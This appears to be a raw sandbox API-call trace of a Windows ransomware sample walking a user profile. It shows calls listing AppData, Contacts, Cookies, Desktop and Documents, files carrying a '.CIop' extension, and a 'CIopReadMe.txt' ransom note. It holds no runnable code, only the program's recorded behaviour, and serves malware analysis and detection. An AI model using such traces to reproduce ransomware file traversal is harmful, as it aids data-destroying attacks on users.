(lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.dat") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0169.106] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0169.106] lstrlenW (lpString="ntuser.ini") returned 10 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.106] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0169.107] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0169.107] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0169.107] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0169.107] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0169.107] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0169.107] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.107] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.107] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0169.107] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0169.107] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0169.108] SetErrorMode (uMode=0x1) returned 0x1 [0169.108] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0169.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0169.108] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0169.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0169.108] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.108] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0169.108] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0169.108] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.108] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0169.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0169.108] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.108] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0169.108] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0169.108] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.108] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.108] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.108] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.108] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0169.109] SetErrorMode (uMode=0x1) returned 0x1 [0169.109] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0169.109] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0169.109] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.109] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0169.109] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0169.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.109] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0169.109] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.109] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0169.109] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0169.109] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.109] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.109] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0169.109] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0169.109] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0169.109] SetErrorMode (uMode=0x1) returned 0x1 [0169.109] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0169.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0169.110] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0169.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0169.110] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.110] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0169.110] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0169.110] lstrlenW (lpString=".CIop") returned 5 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0169.110] lstrlenW (lpString=".CIop") returned 5 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0169.110] lstrlenW (lpString=".CIop") returned 5 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.110] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.110] lstrlenW (lpString="desktop.ini") returned 11 [0169.110] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.110] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0169.110] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0169.111] lstrlenW (lpString=".CIop") returned 5 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0169.111] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0169.111] lstrlenW (lpString=".CIop") returned 5 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.111] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.111] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.111] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0169.111] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0169.111] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.111] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0169.111] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.111] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.111] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.112] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.112] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.112] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.112] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.112] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.112] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0169.112] SetErrorMode (uMode=0x1) returned 0x1 [0169.113] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0169.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0169.114] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0169.114] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.114] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0169.114] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0169.114] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.114] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0169.114] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.114] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0169.114] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0169.114] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.114] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.114] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0169.114] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0169.114] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0169.114] SetErrorMode (uMode=0x1) returned 0x1 [0169.114] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0169.114] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0169.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0169.114] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.114] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0169.114] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0169.114] lstrlenW (lpString="Desktop") returned 7 [0169.115] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.115] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0169.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0169.115] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.115] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0169.115] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0169.115] lstrlenW (lpString="Desktop") returned 7 [0169.115] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.115] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.115] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0169.115] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0169.115] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.115] SetErrorMode (uMode=0x1) returned 0x1 [0169.115] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.115] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0169.115] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0169.115] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0169.115] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0169.115] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.116] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0169.116] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0169.116] lstrlenW (lpString=".CIop") returned 5 [0169.116] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: 